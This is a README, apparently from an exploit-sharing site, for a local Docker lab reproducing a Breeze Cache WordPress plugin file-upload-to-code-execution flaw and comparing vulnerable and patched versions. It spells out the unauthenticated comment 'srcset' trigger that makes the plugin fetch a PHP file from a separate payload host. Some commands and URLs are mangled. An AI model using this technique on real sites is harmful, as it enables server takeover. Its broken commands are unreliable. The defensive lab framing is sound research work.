Share
## https://sploitus.com/exploit?id=D89FC4C2-D09F-5A09-A835-7EE00CA264EB
# CVE-2026-3844 β€” Breeze Cache Unauthenticated Arbitrary File Upload to RCE Lab

> Local-only Docker lab for reproducing and comparing CVE-2026-3844 behavior in the WordPress Breeze Cache plugin.

This repository demonstrates the vulnerable behavior in **Breeze Cache 2.4.4** and compares it with the patched behavior in **Breeze Cache 2.4.5**. The lab uses two isolated WordPress services, one vulnerable and one patched, plus a local payload server inside the Docker network.

The proof of concept is intentionally **least-harm**: it does not use a webshell, does not expose a command parameter, does not start a reverse shell, and does not require reading files from inside the container. The proof is based on observable HTTP behavior from the host.

---

## Executive Summary

CVE-2026-3844 affects the Breeze Cache plugin for WordPress up to and including version `2.4.4`. The vulnerable code path is related to the plugin’s local Gravatar caching feature, specifically the `fetch_gravatar_from_remote()` flow.

When the Breeze option **Host Files Locally - Gravatars** is enabled, vulnerable versions can fetch an attacker-controlled remote file and store it under a public web-accessible cache directory. If the fetched file is PHP, the file may be executed by the web server when requested over HTTP.

This lab reproduces that behavior locally:

* `vuln` service: WordPress + Breeze Cache `2.4.4`
* `patched` service: WordPress + Breeze Cache `2.4.5`
* `payload` service: local Docker-only payload server
* PoC: unauthenticated comment-based trigger using a controlled `srcset` string

The expected result is:

* `http://127.0.0.1:8081` / Breeze `2.4.4` β†’ proof PHP is cached and executed
* `http://127.0.0.1:8082` / Breeze `2.4.5` β†’ proof PHP is not cached/readable/executable

---

## Repository Structure

```text
.
β”œβ”€β”€ docker-compose.yml
β”œβ”€β”€ vuln/
β”‚   └── Dockerfile
β”œβ”€β”€ patched/
β”‚   └── Dockerfile
β”œβ”€β”€ scripts/
β”‚   └── seed-wordpress.sh
β”œβ”€β”€ payload/
β”‚   └── manual-proof.php
β”‚   └── proof-cve3844.php
β”œβ”€β”€ poc/
β”‚   └── poc.py
β”œβ”€β”€ .gitignore
β”œβ”€β”€ README.md
β”œβ”€β”€ requirements.txt
```

---

## Lab Architecture

```text
Host machine
β”‚
β”œβ”€β”€ http://127.0.0.1:8081  -> vuln WordPress + Breeze 2.4.4
β”œβ”€β”€ http://127.0.0.1:8082  -> patched WordPress + Breeze 2.4.5
└── http://127.0.0.1:9100  -> local payload server

Docker network
β”‚
β”œβ”€β”€ vuln       -> WordPress vulnerable target
β”œβ”€β”€ patched    -> WordPress patched target
β”œβ”€β”€ vuln_db    -> MariaDB for vulnerable WordPress
β”œβ”€β”€ patched_db -> MariaDB for patched WordPress
└── payload    -> Python static HTTP server
```

The WordPress containers fetch the payload through the Docker network URL:

```text
http://payload:9100/.php
```

The host verifies the result through normal HTTP requests to the WordPress services.

---

## Affected Component

* Product: Breeze Cache plugin for WordPress
* Vulnerable version in this lab: `2.4.4`
* Patched version in this lab: `2.4.5`
* Vulnerable function: `fetch_gravatar_from_remote()`
* Relevant file: `inc/class-breeze-cache-cronjobs.php`
* Required precondition: `breeze-store-gravatars-locally` must be enabled

The vulnerable behavior is only reachable when local Gravatar caching is enabled. This option is disabled by default in typical installations, but this lab enables it intentionally to reproduce the vulnerable code path.

---

## Root Cause Summary

In Breeze Cache `2.4.4`, the Gravatar localization flow can extract a remote URL from avatar-related HTML and pass that URL into `fetch_gravatar_from_remote()`.

The vulnerable version lacks sufficient validation around the remote file:

* no strict trusted-host validation for Gravatar sources
* no reliable file extension allowlist before saving
* no MIME/content validation before placing the file into a public cache directory
* fetched file may keep a dangerous extension such as `.php`

The resulting file is stored under:

```text
/wp-content/cache/breeze-extra/gravatars/
```

When a PHP file is saved there and then requested through Apache/PHP, the server executes it.

In Breeze Cache `2.4.5`, the patched flow adds validation that prevents this lab payload from being cached as executable PHP. In the local reproduction, the same trigger works against `2.4.4` but does not expose the proof marker against `2.4.5`.

---

## Why This Lab Uses a MU Plugin Helper

This lab intentionally keeps the payload server local instead of using a public payload host.

WordPress `download_url()` and the WordPress HTTP API reject some private Docker hostnames and non-standard ports by default. Public exploit scripts often use public HTTPS payload URLs, which avoid that restriction. This lab does not do that.

To keep the reproduction fully local, the seed script installs a small local-only MU plugin helper that:

* allows only the local Docker payload hostnames `payload` and `payload.local`
* allows only the lab ports `80` and `9100`
* auto-approves lab comments
* disables comment flood checks for deterministic local testing

This helper does **not** modify Breeze source code. Both the vulnerable and patched services use real Breeze plugin versions installed through WP-CLI.

The helper exists only to make the Docker lab deterministic and local-only.

---

## Safety Model

This repository is intended for local security research and portfolio demonstration only.

Guardrails:

* runs only on `localhost` and Docker network services
* no external callback server
* no public exploit target
* no reverse shell
* no interactive shell
* no `cmd=` webshell behavior
* no secrets or real credentials
* no container file reads for proof
* proof is observed through HTTP response behavior

The PoC payload prints benign PHP runtime information:

```text
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_
php_sapi=apache2handler
user=www-data
uid=33
pid=
host=
```

This proves code execution context without spawning shell commands.

---

## Requirements

* Docker Desktop or Docker Engine
* Docker Compose v2
* Python 3.9+
* Python package: `requests`

Install Python dependency:

```bash
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
```

`requirements.txt` should contain:

```text
requests
```

---

## Quick Start

Build and start the lab:

```bash
docker compose down -v --remove-orphans
docker compose up -d --build
```

Check service status:

```bash
docker compose ps
```

Expected services:

```text
vuln        healthy    http://127.0.0.1:8081
patched     healthy    http://127.0.0.1:8082
payload     running    http://127.0.0.1:9100
vuln_db     healthy
patched_db  healthy
```

Check seed logs:

```bash
docker compose logs --tail=120 vuln
docker compose logs --tail=120 patched
```

Expected log lines:

```text
[seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
[seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5
```

---

## Verify Lab Readiness

Check WordPress installation:

```bash
docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
docker compose exec patched wp core is-installed --allow-root --path=/var/www/html
```

Check Breeze versions:

```bash
docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html
```

Expected:

```text
2.4.4
2.4.5
```

Check the vulnerable precondition:

```bash
docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
```

Expected:

```text
1
1
```

Check that WordPress can fetch the local payload service:

```bash
docker compose exec vuln wp eval '
$r = download_url("http://payload:9100/proof-cve3844.php");
if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
echo $r . PHP_EOL;
echo file_get_contents($r);
@unlink($r);
' --allow-root --path=/var/www/html
```

If `proof-cve3844.php` does not exist yet, create any temporary file in `payload/` or run the PoC once.

---

## Running the PoC

Run against the vulnerable service:

```bash
python3 poc/poc.py --base-url http://127.0.0.1:8081
```

Expected vulnerable result:

```text
[VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
[+] PHP proof appears to have executed
```

Example proof output:

```text
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_
php_sapi=apache2handler
user=www-data
uid=33
pid=
host=
```

Run against the patched service:

```bash
python3 poc/poc.py --base-url http://127.0.0.1:8082
```

Expected patched result:

```text
[PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable
```

A redirect such as `301 Moved Permanently` is not considered proof. The PoC requires the unique marker to appear in the HTTP response body.

---

## What the PoC Does

The PoC performs the following local-only flow:

1. Generates a unique PHP proof file under `payload/`.
2. Serves it through the local payload service.
3. Posts an unauthenticated WordPress comment with an author value containing:

```text
x srcset=http://payload:9100/.php
```

4. Requests the WordPress post page to trigger Breeze avatar processing.
5. Checks the expected public Breeze cache path:

```text
/wp-content/cache/breeze-extra/gravatars/.php
```

6. Confirms vulnerability only if the unique proof marker appears in the HTTP response.
7. Removes the generated local payload file unless `--keep-payload` is used.

The PoC does not read files from inside the target container. The evidence is collected over HTTP from the host.

---

## Manual Reproduction

Create a manual payload:

```bash
cat > payload/manual-proof.php /tmp/cve3844-vuln-render.html
grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html
```

Expected HTML evidence:

```html
alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'
```

Request the cached PHP file:

```bash
curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'
```

Expected vulnerable proof:

```text
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8

CVE-2026-3844_MANUAL_PROOF
php_sapi=apache2handler
user=www-data
uid=33
pid=
host=
```

Check payload logs:

```bash
docker compose logs --tail=50 payload
```

Expected:

```text
GET /manual-proof.php HTTP/1.1" 200
```

---

## Expected Results

| Target                  | Breeze Version | Expected Result                              |
| ----------------------- | -------------- | -------------------------------------------- |
| `http://127.0.0.1:8081` | `2.4.4`        | PHP proof is fetched, cached, and executable |
| `http://127.0.0.1:8082` | `2.4.5`        | PHP proof marker is not exposed              |

---

## Cleanup

Stop and remove containers, networks, and volumes:

```bash
docker compose down -v --remove-orphans
```

Remove generated payload files if needed:

```bash
rm -f payload/proof-cve3844-*.php payload/manual-proof*.php
```

---


## References

- NVD β€” CVE-2026-3844:  
  https://nvd.nist.gov/vuln/detail/CVE-2026-3844

- Patchstack Database β€” WordPress Breeze Cache Plugin <= 2.4.4 Unauthenticated Arbitrary File Upload via `fetch_gravatar_from_remote`:  
  https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability

- Wordfence Threat Intelligence β€” Breeze Cache <= 2.4.4 Unauthenticated Arbitrary File Upload:  
  https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote

- Wordfence Blog β€” Active exploitation coverage for Breeze Cache vulnerability:  
  https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/

- Breeze Cache plugin page:  
  https://wordpress.org/plugins/breeze/

- WordPress plugin downloads used in this lab:
  - Breeze Cache 2.4.4:  
    https://downloads.wordpress.org/plugin/breeze.2.4.4.zip
  - Breeze Cache 2.4.5:  
    https://downloads.wordpress.org/plugin/breeze.2.4.5.zip

- WordPress Plugin Trac β€” Breeze source reference, `class-breeze-cache-cronjobs.php`:  
  https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php

- WordPress Plugin Trac β€” Breeze patched source reference, `class-breeze-cache-cronjobs.php`:  
  https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php

---

## Disclaimer

This project is for authorized local security research only. Do not run the PoC against systems you do not own or do not have explicit permission to test.